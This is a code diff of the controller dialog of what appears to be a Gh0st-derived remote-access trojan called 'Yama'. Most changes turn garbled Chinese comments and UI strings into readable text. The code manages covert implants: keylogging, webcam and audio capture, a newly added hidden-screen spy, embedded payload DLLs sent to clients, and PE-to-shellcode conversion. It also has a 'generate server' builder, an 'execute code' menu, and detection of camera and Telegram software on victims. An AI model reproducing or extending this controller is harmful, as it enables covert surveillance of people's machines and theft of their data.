&CMy2015RemoteDlg::OnOnlineShare) @@ -358,7 +363,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx) ON_COMMAND(ID_ONLINE_HOSTNOTE, &CMy2015RemoteDlg::OnOnlineHostnote) ON_COMMAND(ID_HELP_IMPORTANT, &CMy2015RemoteDlg::OnHelpImportant) ON_COMMAND(ID_HELP_FEEDBACK, &CMy2015RemoteDlg::OnHelpFeedback) - // ж̬Ӳ˵ ID ӳ䵽ͬһӦ + // 将所有动态子菜单项的命令 ID 映射到同一个响应函数 ON_COMMAND_RANGE(ID_DYNAMIC_MENU_BASE, ID_DYNAMIC_MENU_BASE + 20, &CMy2015RemoteDlg::OnDynamicSubMenu) ON_COMMAND(ID_ONLINE_VIRTUAL_DESKTOP, &CMy2015RemoteDlg::OnOnlineVirtualDesktop) ON_COMMAND(ID_ONLINE_GRAY_DESKTOP, &CMy2015RemoteDlg::OnOnlineGrayDesktop) @@ -367,7 +372,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx) END_MESSAGE_MAP() -// CMy2015RemoteDlg Ϣ +// CMy2015RemoteDlg 消息处理程序 void CMy2015RemoteDlg::OnIconNotify(WPARAM wParam, LPARAM lParam) { switch ((UINT)lParam) @@ -389,7 +394,7 @@ void CMy2015RemoteDlg::OnIconNotify(WPARAM wParam, LPARAM lParam) Menu.LoadMenu(IDR_MENU_NOTIFY); CPoint Point; GetCursorPos(&Point); - SetForegroundWindow(); //õǰ + SetForegroundWindow(); //设置当前窗口 Menu.GetSubMenu(0)->TrackPopupMenu( TPM_LEFTBUTTON|TPM_RIGHTBUTTON, Point.x, Point.y, this, NULL); @@ -408,15 +413,15 @@ VOID CMy2015RemoteDlg::CreateSolidMenu() SubMenu->DeleteMenu(ID_TOOL_GEN_MASTER, MF_BYCOMMAND); } - ::SetMenu(this->GetSafeHwnd(), m_MainMenu.GetSafeHmenu()); //Ϊò˵ - ::DrawMenuBar(this->GetSafeHwnd()); //ʾ˵ + ::SetMenu(this->GetSafeHwnd(), m_MainMenu.GetSafeHmenu()); //为窗口设置菜单 + ::DrawMenuBar(this->GetSafeHwnd()); //显示菜单 } VOID CMy2015RemoteDlg::CreatStatusBar() { if (!m_StatusBar.Create(this) || !m_StatusBar.SetIndicators(Indicators, - sizeof(Indicators)/sizeof(UINT))) //״ַ̬ԴID + sizeof(Indicators)/sizeof(UINT))) //创建状态条并设置字符资源的ID { return ; } @@ -429,60 +434,60 @@ VOID CMy2015RemoteDlg::CreatStatusBar() VOID CMy2015RemoteDlg::CreateNotifyBar() { - m_Nid.cbSize = sizeof(NOTIFYICONDATA); //Сֵ - m_Nid.hWnd = m_hWnd; // DZڸCWnd + m_Nid.cbSize = sizeof(NOTIFYICONDATA); //大小赋值 + m_Nid.hWnd = m_hWnd; //父窗口 是被定义在父类CWnd类中 m_Nid.uID = IDR_MAINFRAME; //icon ID - m_Nid.uFlags = NIF_MESSAGE | NIF_ICON | NIF_TIP; //ӵе״̬ - m_Nid.uCallbackMessage = UM_ICONNOTIFY; //صϢ - m_Nid.hIcon = m_hIcon; //icon - CString strTips =": ԶЭ"; //ʾ + m_Nid.uFlags = NIF_MESSAGE | NIF_ICON | NIF_TIP; //托盘所拥有的状态 + m_Nid.uCallbackMessage = UM_ICONNOTIFY; //回调消息 + m_Nid.hIcon = m_hIcon; //icon 变量 + CString strTips ="禁界: 远程协助软件"; //气泡提示 lstrcpyn(m_Nid.szTip, (LPCSTR)strTips, sizeof(m_Nid.szTip) / sizeof(m_Nid.szTip[0])); - Shell_NotifyIcon(NIM_ADD, &m_Nid); //ʾ + Shell_NotifyIcon(NIM_ADD, &m_Nid); //显示托盘 } VOID CMy2015RemoteDlg::CreateToolBar() { if (!m_ToolBar.CreateEx(this, TBSTYLE_FLAT, WS_CHILD | WS_VISIBLE | CBRS_TOP | CBRS_GRIPPER | CBRS_TOOLTIPS | CBRS_FLYBY | CBRS_SIZE_DYNAMIC) || - !m_ToolBar.LoadToolBar(IDR_TOOLBAR_MAIN)) //һ Դ + !m_ToolBar.LoadToolBar(IDR_TOOLBAR_MAIN)) //创建一个工具条 加载资源 { return; } m_ToolBar.LoadTrueColorToolBar ( - 48, //ʹ + 48, //加载真彩工具条 IDB_BITMAP_MAIN, IDB_BITMAP_MAIN, IDB_BITMAP_MAIN - ); //ǵλͼԴ + ); //和我们的位图资源相关联 RECT Rect,RectMain; - GetWindowRect(&RectMain); //õڵĴС + GetWindowRect(&RectMain); //得到整个窗口的大小 Rect.left=0; Rect.top=0; Rect.bottom=80; Rect.right=RectMain.right-RectMain.left+10; m_ToolBar.MoveWindow(&Rect,TRUE); - m_ToolBar.SetButtonText(0,"ն˹"); //λͼļ - m_ToolBar.SetButtonText(1,"̹"); - m_ToolBar.SetButtonText(2,"ڹ"); - m_ToolBar.SetButtonText(3,""); - m_ToolBar.SetButtonText(4,"ļ"); - m_ToolBar.SetButtonText(5,""); - m_ToolBar.SetButtonText(6,"Ƶ"); - m_ToolBar.SetButtonText(7,""); - m_ToolBar.SetButtonText(8,"ע"); - m_ToolBar.SetButtonText(9, "̼¼"); - m_ToolBar.SetButtonText(10,""); - m_ToolBar.SetButtonText(11,"ɷ"); - m_ToolBar.SetButtonText(12,""); - RepositionBars(AFX_IDW_CONTROLBAR_FIRST,AFX_IDW_CONTROLBAR_LAST,0); //ʾ + m_ToolBar.SetButtonText(0,"终端管理"); //在位图的下面添加文件 + m_ToolBar.SetButtonText(1,"进程管理"); + m_ToolBar.SetButtonText(2,"窗口管理"); + m_ToolBar.SetButtonText(3,"桌面管理"); + m_ToolBar.SetButtonText(4,"文件管理"); + m_ToolBar.SetButtonText(5,"语音管理"); + m_ToolBar.SetButtonText(6,"视频管理"); + m_ToolBar.SetButtonText(7,"服务管理"); + m_ToolBar.SetButtonText(8,"注册表管理"); + m_ToolBar.SetButtonText(9, "键盘记录"); + m_ToolBar.SetButtonText(10,"参数设置"); + m_ToolBar.SetButtonText(11,"生成服务端"); + m_ToolBar.SetButtonText(12,"帮助"); + RepositionBars(AFX_IDW_CONTROLBAR_FIRST,AFX_IDW_CONTROLBAR_LAST,0); //显示 } VOID CMy2015RemoteDlg::InitControl() { - //ר + //专属函数 CRect rect; GetWindowRect(&rect); @@ -509,7 +514,7 @@ VOID CMy2015RemoteDlg::InitControl() VOID CMy2015RemoteDlg::TestOnline() { - ShowMessage(true,"ʼɹ..."); + ShowMessage(true,"软件初始化成功..."); } bool IsExitItem(CListCtrl &list, DWORD_PTR data){ @@ -578,7 +583,7 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName } m_CList_Online.SetItemData(i,(DWORD_PTR)ContextObject); - ShowMessage(true,strIP+""); + ShowMessage(true,strIP+"主机上线"); LeaveCriticalSection(&m_cs); SendMasterSettings(ContextObject); @@ -589,9 +594,9 @@ VOID CMy2015RemoteDlg::ShowMessage(BOOL bOk, CString strMsg) { CTime Timer = CTime::GetCurrentTime(); CString strTime= Timer.Format("%H:%M:%S"); - CString strIsOK= bOk ? "ִгɹ" : "ִʧ"; + CString strIsOK= bOk ? "执行成功" : "执行失败"; - m_CList_Message.InsertItem(0,strIsOK); //ؼ + m_CList_Message.InsertItem(0,strIsOK); //向控件中设置数据 m_CList_Message.SetItemText(0,1,strTime); m_CList_Message.SetItemText(0,2,strMsg); @@ -601,18 +606,18 @@ VOID CMy2015RemoteDlg::ShowMessage(BOOL bOk, CString strMsg) int m_iCount = m_CList_Online.GetItemCount(); LeaveCriticalSection(&m_cs); - strStatusMsg.Format("%d",m_iCount); - m_StatusBar.SetPaneText(0,strStatusMsg); //״̬ʾ + strStatusMsg.Format("有%d个主机在线",m_iCount); + m_StatusBar.SetPaneText(0,strStatusMsg); //在状态条上显示文字 } -BOOL ConvertToShellcode(LPVOID inBytes, DWORD length, DWORD userFunction, LPVOID userData, DWORD userLength, - DWORD flags, LPSTR& outBytes, DWORD& outLength); +extern "C" BOOL ConvertToShellcode(LPVOID inBytes, DWORD length, DWORD userFunction, + LPVOID userData, DWORD userLength, DWORD flags, LPSTR * outBytes, DWORD * outLength); bool MakeShellcode(LPBYTE& compressedBuffer, int& ulTotalSize, LPBYTE originBuffer, int ulOriginalLength) { if (originBuffer[0] == 'M' && originBuffer[1] == 'Z') { LPSTR finalShellcode = NULL; DWORD finalSize; - if (!ConvertToShellcode(originBuffer, ulOriginalLength, NULL, NULL, 0, 0x1, finalShellcode, finalSize)) { + if (!ConvertToShellcode(originBuffer, ulOriginalLength, NULL, NULL, 0, 0x1, &finalShellcode, &finalSize)) { return false; } compressedBuffer = new BYTE[finalSize]; @@ -626,25 +631,25 @@ bool MakeShellcode(LPBYTE& compressedBuffer, int& ulTotalSize, LPBYTE originBuff return false; } -Buffer* ReadKernelDll(bool is64Bit, bool isDLL = true) { +Buffer* ReadKernelDll(bool is64Bit, bool isDLL=true) { BYTE* szBuffer = NULL; int dwFileSize = 0; - // Ϊ MY_BINARY_FILE BINARY Դ + // 查找名为 MY_BINARY_FILE 的 BINARY 类型资源 auto id = is64Bit ? IDR_SERVERDLL_X64 : IDR_SERVERDLL_X86; HRSRC hResource = FindResourceA(NULL, MAKEINTRESOURCE(id), "BINARY"); if (hResource == NULL) { return NULL; } - // ȡԴĴС + // 获取资源的大小 DWORD dwSize = SizeofResource(NULL, hResource); - // Դ + // 加载资源 HGLOBAL hLoadedResource = LoadResource(NULL, hResource); if (hLoadedResource == NULL) { return NULL; } - // ԴȡָԴݵָ + // 锁定资源并获取指向资源数据的指针 LPVOID pData = LockResource(hLoadedResource); if (pData == NULL) { return NULL; @@ -658,15 +663,19 @@ Buffer* ReadKernelDll(bool is64Bit, bool isDLL = true) { } } dwFileSize = srcLen; - szBuffer = new BYTE[sizeof(int) + dwFileSize + 2]; + int bufSize = sizeof(int) + dwFileSize + 2; + int padding = ALIGN16(bufSize) - bufSize; + szBuffer = new BYTE[bufSize + padding]; szBuffer[0] = CMD_DLLDATA; szBuffer[1] = isDLL ? MEMORYDLL : SHELLCODE; memcpy(szBuffer + 2, &dwFileSize, sizeof(int)); memcpy(szBuffer + 2 + sizeof(int), srcData, dwFileSize); + memset(szBuffer + 2 + sizeof(int) + dwFileSize, 0, padding); // CMD_DLLDATA + SHELLCODE + dwFileSize + pData - auto ret = new Buffer(szBuffer, sizeof(int) + dwFileSize + 2); + auto md5 = CalcMD5FromBytes(szBuffer + 2 + sizeof(int), dwFileSize); + auto ret = new Buffer(szBuffer, bufSize + padding, padding, md5); delete[] szBuffer; - if (srcData != pData) + if (srcData != pData) SAFE_DELETE_ARRAY(srcData); return ret; } @@ -676,15 +685,15 @@ BOOL CMy2015RemoteDlg::OnInitDialog() CDialogEx::OnInitDialog(); if (!IsPwdHashValid()) { - MessageBox("˳ΪǷӦó޷!", "", MB_ICONERROR); + MessageBox("此程序为非法的应用程序,无法正常运行!", "错误", MB_ICONERROR); OnMainExit(); return FALSE; } - // ...˵ӵϵͳ˵С + // 将“关于...”菜单项添加到系统菜单中。 SetWindowText(_T("Yama")); LoadFromFile(m_ClientMap, DB_FILENAME); - // IDM_ABOUTBOX ϵͳΧڡ + // IDM_ABOUTBOX 必须在系统命令范围内。 ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX); ASSERT(IDM_ABOUTBOX < 0xF000); @@ -706,12 +715,12 @@ BOOL CMy2015RemoteDlg::OnInitDialog() m_ServerBin[PAYLOAD_DLL_X86] = ReadKernelDll(false, false); m_ServerBin[PAYLOAD_DLL_X64] = ReadKernelDll(true, false); - // ô˶ԻͼꡣӦóڲǶԻʱܽԶ - // ִд˲ - SetIcon(m_hIcon, TRUE); // ôͼ - SetIcon(m_hIcon, FALSE); // Сͼ + // 设置此对话框的图标。当应用程序主窗口不是对话框时,框架将自动 + // 执行此操作 + SetIcon(m_hIcon, TRUE); // 设置大图标 + SetIcon(m_hIcon, FALSE); // 设置小图标 - // TODO: ڴӶijʼ + // TODO: 在此添加额外的初始化代码 isClosed = FALSE; g_2015RemoteDlg = this; CreateToolBar(); @@ -730,7 +739,7 @@ BOOL CMy2015RemoteDlg::OnInitDialog() int m = atoi(((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetStr("settings", "ReportInterval", "5")); int n = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "SoftwareDetect"); m_settings = { m, sizeof(void*) == 8, __DATE__, n }; - std::map myMap = {{SOFTWARE_CAMERA, "ͷ"}, {SOFTWARE_TELEGRAM, "籨" }}; + std::map myMap = {{SOFTWARE_CAMERA, "摄像头"}, {SOFTWARE_TELEGRAM, "电报" }}; std::string str = myMap[n]; LVCOLUMN lvColumn; memset(&lvColumn, 0, sizeof(LVCOLUMN)); @@ -744,7 +753,7 @@ BOOL CMy2015RemoteDlg::OnInitDialog() SetTimer(TIMER_CHECK, 600 * 1000, NULL); #endif - return TRUE; // ǽõؼ򷵻 TRUE + return TRUE; // 除非将焦点设置到控件,否则返回 TRUE } void CMy2015RemoteDlg::OnSysCommand(UINT nID, LPARAM lParam) @@ -760,19 +769,19 @@ void CMy2015RemoteDlg::OnSysCommand(UINT nID, LPARAM lParam) } } -// ԻСťҪĴ -// Ƹͼꡣʹĵ/ͼģ͵ MFC Ӧó -// ⽫ɿԶɡ +// 如果向对话框添加最小化按钮,则需要下面的代码 +// 来绘制该图标。对于使用文档/视图模型的 MFC 应用程序, +// 这将由框架自动完成。 void CMy2015RemoteDlg::OnPaint() { if (IsIconic()) { - CPaintDC dc(this); // ڻƵ豸 + CPaintDC dc(this); // 用于绘制的设备上下文 SendMessage(WM_ICONERASEBKGND, reinterpret_cast(dc.GetSafeHdc()), 0); - // ʹͼڹо + // 使图标在工作区矩形中居中 int cxIcon = GetSystemMetrics(SM_CXICON); int cyIcon = GetSystemMetrics(SM_CYICON); CRect rect; @@ -780,7 +789,7 @@ void CMy2015RemoteDlg::OnPaint() int x = (rect.Width() - cxIcon + 1) / 2; int y = (rect.Height() - cyIcon + 1) / 2; - // ͼ + // 绘制图标 dc.DrawIcon(x, y, m_hIcon); } else @@ -789,8 +798,8 @@ void CMy2015RemoteDlg::OnPaint() } } -//û϶Сʱϵͳô˺ȡù -//ʾ +//当用户拖动最小化窗口时系统调用此函数取得光标 +//显示。 HCURSOR CMy2015RemoteDlg::OnQueryDragIcon() { return static_cast(m_hIcon); @@ -800,27 +809,27 @@ void CMy2015RemoteDlg::OnSize(UINT nType, int cx, int cy) { CDialogEx::OnSize(nType, cx, cy); - // TODO: ڴ˴Ϣ + // TODO: 在此处添加消息处理程序代码 if (SIZE_MINIMIZED==nType) { return; } EnterCriticalSection(&m_cs); - if (m_CList_Online.m_hWnd!=NULL) //ؼҲǴҲо + if (m_CList_Online.m_hWnd!=NULL) //(控件也是窗口因此也有句柄) { CRect rc; - rc.left = 1; //б - rc.top = 80; //б - rc.right = cx-1; //б - rc.bottom = cy-160; //б + rc.left = 1; //列表的左坐标 + rc.top = 80; //列表的上坐标 + rc.right = cx-1; //列表的右坐标 + rc.bottom = cy-160; //列表的下坐标 m_CList_Online.MoveWindow(rc); - for(int i=0;i Hide\n"); } @@ -925,7 +934,7 @@ int CALLBACK CMy2015RemoteDlg::CompareFunction(LPARAM lParam1, LPARAM lParam2, L int nColumn = pSortInfo->first; bool bAscending = pSortInfo->second; - // ȡֵ + // 获取列值 CONTEXT_OBJECT* context1 = (CONTEXT_OBJECT*)lParam1; CONTEXT_OBJECT* context2 = (CONTEXT_OBJECT*)lParam2; CString s1 = context1->GetClientData(nColumn); @@ -939,16 +948,16 @@ void CMy2015RemoteDlg::SortByColumn(int nColumn) { static int m_nSortColumn = 0; static bool m_bSortAscending = false; if (nColumn == m_nSortColumn) { - // ͬһУл˳ + // 如果点击的是同一列,切换排序顺序 m_bSortAscending = !m_bSortAscending; } else { - // лвΪ + // 否则,切换到新列并设置为升序 m_nSortColumn = nColumn; m_bSortAscending = true; } - // Ϣ + // 创建排序信息 std::pair sortInfo(m_nSortColumn, m_bSortAscending); EnterCriticalSection(&m_cs); m_CList_Online.SortItems(CompareFunction, reinterpret_cast(&sortInfo)); @@ -957,8 +966,8 @@ void CMy2015RemoteDlg::SortByColumn(int nColumn) { void CMy2015RemoteDlg::OnHdnItemclickList(NMHDR* pNMHDR, LRESULT* pResult) { LPNMHEADER pNMHeader = reinterpret_cast(pNMHDR); - int nColumn = pNMHeader->iItem; // ȡ - SortByColumn(nColumn); // + int nColumn = pNMHeader->iItem; // 获取点击的列索引 + SortByColumn(nColumn); // 调用排序函数 *pResult = 0; } @@ -967,10 +976,10 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult) { LPNMITEMACTIVATE pNMItemActivate = reinterpret_cast(pNMHDR); - //˵ + //弹出菜单 CMenu Menu; - Menu.LoadMenu(IDR_MENU_LIST_ONLINE); //ز˵Դ Դ + Menu.LoadMenu(IDR_MENU_LIST_ONLINE); //加载菜单资源 资源和类对象关联 CMenu* SubMenu = Menu.GetSubMenu(0); @@ -988,37 +997,37 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult) Menu.SetMenuItemBitmaps(ID_ONLINE_REMOTE_DESKTOP, MF_BYCOMMAND, &m_bmOnline[8], &m_bmOnline[8]); Menu.SetMenuItemBitmaps(ID_ONLINE_H264_DESKTOP, MF_BYCOMMAND, &m_bmOnline[9], &m_bmOnline[9]); - // һµӲ˵ + // 创建一个新的子菜单 CMenu newMenu; if (!newMenu.CreatePopupMenu()) { - AfxMessageBox(_T("صӲ˵ʧ!")); + AfxMessageBox(_T("创建分配主控的子菜单失败!")); return; } int i = 0; for (const auto& s : m_DllList) { - // Ӳ˵Ӳ˵ + // 向子菜单中添加菜单项 newMenu.AppendMenuA(MF_STRING, ID_DYNAMIC_MENU_BASE + i++, s->Name.c_str()); } if (i == 0){ - newMenu.AppendMenuA(MF_STRING, ID_DYNAMIC_MENU_BASE, "ָ"); + newMenu.AppendMenuA(MF_STRING, ID_DYNAMIC_MENU_BASE, "操作指导"); } - // Ӳ˵ӵ˵ - SubMenu->AppendMenuA(MF_STRING | MF_POPUP, (UINT_PTR)newMenu.Detach(), _T("ִд")); + // 将子菜单添加到主菜单中 + SubMenu->AppendMenuA(MF_STRING | MF_POPUP, (UINT_PTR)newMenu.Detach(), _T("执行代码")); int iCount = SubMenu->GetMenuItemCount(); EnterCriticalSection(&m_cs); int n = m_CList_Online.GetSelectedCount(); LeaveCriticalSection(&m_cs); - if (n == 0) //ûѡ + if (n == 0) //如果没有选中 { for (int i = 0; i < iCount; ++i) { - SubMenu->EnableMenuItem(i, MF_BYPOSITION | MF_DISABLED | MF_GRAYED); //˵ȫ + SubMenu->EnableMenuItem(i, MF_BYPOSITION | MF_DISABLED | MF_GRAYED); //菜单全部变灰 } } - // ˢ²˵ʾ + // 刷新菜单显示 DrawMenuBar(); SubMenu->TrackPopupMenu(TPM_LEFTALIGN, Point.x, Point.y, this); @@ -1028,34 +1037,34 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult) void CMy2015RemoteDlg::OnOnlineMessage() { - BYTE bToken = COMMAND_TALK; //򱻿ض˷һCOMMAND_SYSTEM + BYTE bToken = COMMAND_TALK; //向被控端发送一个COMMAND_SYSTEM SendSelectedCommand(&bToken, sizeof(BYTE)); } char* ReadFileToMemory(const CString& filePath, ULONGLONG &fileSize) { fileSize = 0; try { - // ļֻģʽ + // 打开文件(只读模式) CFile file(filePath, CFile::modeRead | CFile::typeBinary); - // ȡļС + // 获取文件大小 fileSize = file.GetLength(); - // ڴ滺: ͷ+ļС+ļ + // 分配内存缓冲区: 头+文件大小+文件内容 char* buffer = new char[1 + sizeof(ULONGLONG) + static_cast(fileSize) + 1]; if (!buffer) { return NULL; } memcpy(buffer+1, &fileSize, sizeof(ULONGLONG)); - // ȡļݵ + // 读取文件内容到缓冲区 file.Read(buffer + 1 + sizeof(ULONGLONG), static_cast(fileSize)); - buffer[1 + sizeof(ULONGLONG) + fileSize] = '\0'; // ַ + buffer[1 + sizeof(ULONGLONG) + fileSize] = '\0'; // 添加字符串结束符 - // ͷڴ + // 释放内存 return buffer; } catch (CFileException* e) { - // ļ쳣 + // 捕获文件异常 TCHAR errorMessage[256]; e->GetErrorMessage(errorMessage, 256); e->Delete(); @@ -1066,8 +1075,8 @@ char* ReadFileToMemory(const CString& filePath, ULONGLONG &fileSize) { void CMy2015RemoteDlg::OnOnlineUpdate() { - if (IDYES != MessageBox(_T("ȷѡıس?\nܿسַ֧Ч!"), - _T("ʾ"), MB_ICONQUESTION | MB_YESNO)) + if (IDYES != MessageBox(_T("确定升级选定的被控程序吗?\n需受控程序支持方可生效!"), + _T("提示"), MB_ICONQUESTION | MB_YESNO)) return; char path[_MAX_PATH], * p = path; @@ -1083,17 +1092,17 @@ void CMy2015RemoteDlg::OnOnlineUpdate() delete[] buffer; } else { - AfxMessageBox("ȡļʧ: "+ CString(path)); + AfxMessageBox("读取文件失败: "+ CString(path)); } } void CMy2015RemoteDlg::OnOnlineDelete() { - // TODO: ڴ - if (IDYES != MessageBox(_T("ȷɾѡıؼ?"), _T("ʾ"), MB_ICONQUESTION | MB_YESNO)) + // TODO: 在此添加命令处理程序代码 + if (IDYES != MessageBox(_T("确定删除选定的被控计算机吗?"), _T("提示"), MB_ICONQUESTION | MB_YESNO)) return; - BYTE bToken = COMMAND_BYE; //򱻿ض˷һCOMMAND_SYSTEM + BYTE bToken = COMMAND_BYE; //向被控端发送一个COMMAND_SYSTEM SendSelectedCommand(&bToken, sizeof(BYTE)); //Context PreSending PostSending EnterCriticalSection(&m_cs); @@ -1104,7 +1113,7 @@ void CMy2015RemoteDlg::OnOnlineDelete() int iItem = m_CList_Online.GetNextSelectedItem(Pos); CString strIP = m_CList_Online.GetItemText(iItem,ONLINELIST_IP); m_CList_Online.DeleteItem(iItem); - strIP+="Ͽ"; + strIP+="断开连接"; ShowMessage(true,strIP); } LeaveCriticalSection(&m_cs); @@ -1190,7 +1199,7 @@ std::string joinString(const std::vector& tokens, char delimiter) { for (size_t i = 0; i < tokens.size(); ++i) { oss << tokens[i]; - if (i != tokens.size() - 1) { // һԪغӷָ + if (i != tokens.size() - 1) { // 在最后一个元素后不添加分隔符 oss << delimiter; } } @@ -1210,7 +1219,7 @@ bool CMy2015RemoteDlg::CheckValid() { if (!isTrail) { auto THIS_APP = (CMy2015RemoteApp*)AfxGetApp(); auto settings = "settings", pwdKey = "Password"; - // ֤ + // 验证口令 CPasswordDlg dlg; static std::string hardwareID = getHardwareID(); static std::string hashedID = hashSHA256(hardwareID); @@ -1222,12 +1231,12 @@ bool CMy2015RemoteDlg::CheckValid() { if (pwd.IsEmpty() && IDOK != dlg.DoModal() || dlg.m_sPassword.IsEmpty()) return false; - // ʽ20250209 - 20350209: SHA256 + // 密码形式:20250209 - 20350209: SHA256 auto v = splitString(dlg.m_sPassword.GetBuffer(), '-'); if (v.size() != 6) { THIS_APP->m_iniFile.SetStr(settings, pwdKey, ""); - MessageBox("ʽ!", "ʾ", MB_ICONINFORMATION); + MessageBox("格式错误,请重新申请口令!", "提示", MB_ICONINFORMATION); return false; } std::vector subvector(v.begin() + 2, v.end()); @@ -1239,17 +1248,17 @@ bool CMy2015RemoteDlg::CheckValid() { THIS_APP->m_iniFile.SetStr(settings, pwdKey, ""); if (pwd.IsEmpty() || (IDOK != dlg.DoModal() || hash256 != fixedKey)) { if (!dlg.m_sPassword.IsEmpty()) - MessageBox(", ޷!", "ʾ", MB_ICONWARNING); + MessageBox("口令错误, 无法继续操作!", "提示", MB_ICONWARNING); return false; } } - // жǷ + // 判断是否过期 auto pekingTime = ToPekingTime(nullptr); char curDate[9]; std::strftime(curDate, sizeof(curDate), "%Y%m%d", &pekingTime); if (curDate < v[0] || curDate > v[1]) { THIS_APP->m_iniFile.SetStr(settings, pwdKey, ""); - MessageBox("ڣ!", "ʾ", MB_ICONINFORMATION); + MessageBox("口令过期,请重新申请口令!", "提示", MB_ICONINFORMATION); return false; } if (dlg.m_sPassword != pwd) @@ -1260,15 +1269,15 @@ bool CMy2015RemoteDlg::CheckValid() { void CMy2015RemoteDlg::OnOnlineBuildClient() { - // ±ij14ڣ֮ɷҪ"" - // ҪȨ߼ifӵӦطɡ - // ȨڷΧȷһһ룻Ȩ߼δ۸! - // ע if θȨ߼. + // 给新编译的程序14天试用期,过期之后生成服务端需要申请"口令"; + // 如果要对其他功能乃至整个程序启动授权逻辑,将下述if语句添加到相应地方即可。 + // 口令包含授权日期范围,确保一机一码;授权逻辑会检测计算机日期未被篡改! + // 注释下面 if 语句可以屏蔽该授权逻辑. // 2025/04/20 if (!CheckValid()) return; - // TODO: ڴ + // TODO: 在此添加命令处理程序代码 CBuildDlg Dlg; Dlg.m_strIP = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetStr("settings", "localIp", ""); int Port = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "ghost"); @@ -1288,24 +1297,24 @@ VOID CMy2015RemoteDlg::SendSelectedCommand(PBYTE szBuffer, ULONG ulLength) CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem); if (!ContextObject->bLogin && szBuffer[0] != COMMAND_BYE) continue; - if (szBuffer[0]== COMMAND_WEBCAM && ContextObject->sClientInfo[ONLINELIST_VIDEO] == CString("")) + if (szBuffer[0]== COMMAND_WEBCAM && ContextObject->sClientInfo[ONLINELIST_VIDEO] == CString("无")) { continue; } - // ͻбݰ + // 发送获得驱动器列表数据包 m_iocpServer->OnClientPreSending(ContextObject,szBuffer, ulLength); } LeaveCriticalSection(&m_cs); } -//Bar +//真彩Bar VOID CMy2015RemoteDlg::OnAbout() { - MessageBox("Copyleft (c) FTU 2025" + CString("\n: ") + __DATE__ + - CString(sizeof(void*)==8 ? " (x64)" : " (x86)"), ""); + MessageBox("Copyleft (c) FTU 2025" + CString("\n编译日期: ") + __DATE__ + + CString(sizeof(void*)==8 ? " (x64)" : " (x86)"), "关于"); } -//Menu +//托盘Menu void CMy2015RemoteDlg::OnNotifyShow() { BOOL v= IsWindowVisible(); @@ -1316,17 +1325,17 @@ void CMy2015RemoteDlg::OnNotifyShow() void CMy2015RemoteDlg::OnNotifyExit() { Release(); - CDialogEx::OnOK(); // رնԻ + CDialogEx::OnOK(); // 关闭对话框 } -//̬˵ +//固态菜单 void CMy2015RemoteDlg::OnMainSet() { int nMaxConnection = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "MaxConnection"); CSettingDlg Dlg; - Dlg.DoModal(); //ģ̬ + Dlg.DoModal(); //模态 阻塞 if (nMaxConnection != Dlg.m_nMax_Connect) { m_iocpServer->UpdateMaxConnection(Dlg.m_nMax_Connect); @@ -1352,20 +1361,20 @@ void CMy2015RemoteDlg::OnMainSet() void CMy2015RemoteDlg::OnMainExit() { Release(); - CDialogEx::OnOK(); // رնԻ + CDialogEx::OnOK(); // 关闭对话框 } BOOL CMy2015RemoteDlg::ListenPort() { int nPort = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "ghost"); - //ȡini ļеļ˿ + //读取ini 文件中的监听端口 int nMaxConnection = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "MaxConnection"); - //ȡ + //读取最大连接数 if (nPort<=0 || nPort>65535) nPort = 6543; if (nMaxConnection <= 0) nMaxConnection = 10000; - return Activate(nPort,nMaxConnection); //ʼ + return Activate(nPort,nMaxConnection); //开始监听 } @@ -1460,8 +1469,8 @@ BOOL CMy2015RemoteDlg::Activate(int nPort,int nMaxConnection) if (!pids.empty()) { pids.back() = '?'; } - if (IDYES == MessageBox("úStartServerʧ! :" + CString(std::to_string(ret).c_str()) + - "\r\nǷر½: " + pids.c_str(), "ʾ", MB_YESNO)) { + if (IDYES == MessageBox("调用函数StartServer失败! 错误代码:" + CString(std::to_string(ret).c_str()) + + "\r\n是否关闭以下进程重试: " + pids.c_str(), "提示", MB_YESNO)) { for (const auto& line : lines) { auto cmd = std::string("taskkill /f /pid ") + line; exec(cmd.c_str()); @@ -1469,12 +1478,12 @@ BOOL CMy2015RemoteDlg::Activate(int nPort,int nMaxConnection) return Activate(nPort, nMaxConnection); } }else - MessageBox("úStartServerʧ! :" + CString(std::to_string(ret).c_str())); + MessageBox("调用函数StartServer失败! 错误代码:" + CString(std::to_string(ret).c_str())); return FALSE; } CString strTemp; - strTemp.Format("˿: %dɹ", nPort); + strTemp.Format("监听端口: %d成功", nPort); ShowMessage(true,strTemp); return TRUE; } @@ -1548,6 +1557,16 @@ VOID CALLBACK CMy2015RemoteDlg::NotifyProc(CONTEXT_OBJECT* ContextObject) Dlg->OnReceiveComplete(); break; } + case HIDESCREEN_DLG: { + CHideScreenSpyDlg* Dlg = (CHideScreenSpyDlg*)ContextObject->hDlg; + Dlg->OnReceiveComplete(); + break; + } + case MACHINE_DLG: { + CMachineDlg* Dlg = (CMachineDlg*)ContextObject->hDlg; + Dlg->OnReceiveComplete(); + break; + } default: { HANDLE hEvent = CreateEvent(NULL, TRUE, FALSE, NULL); if (hEvent == NULL) { @@ -1565,7 +1584,7 @@ VOID CALLBACK CMy2015RemoteDlg::NotifyProc(CONTEXT_OBJECT* ContextObject) } } -// ԻԻ +// 对话框句柄及对话框类型 struct dlgInfo { HANDLE hDlg; @@ -1614,7 +1633,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) case TOKEN_HEARTBEAT: case 137: UpdateActiveWindow(ContextObject); break; - case 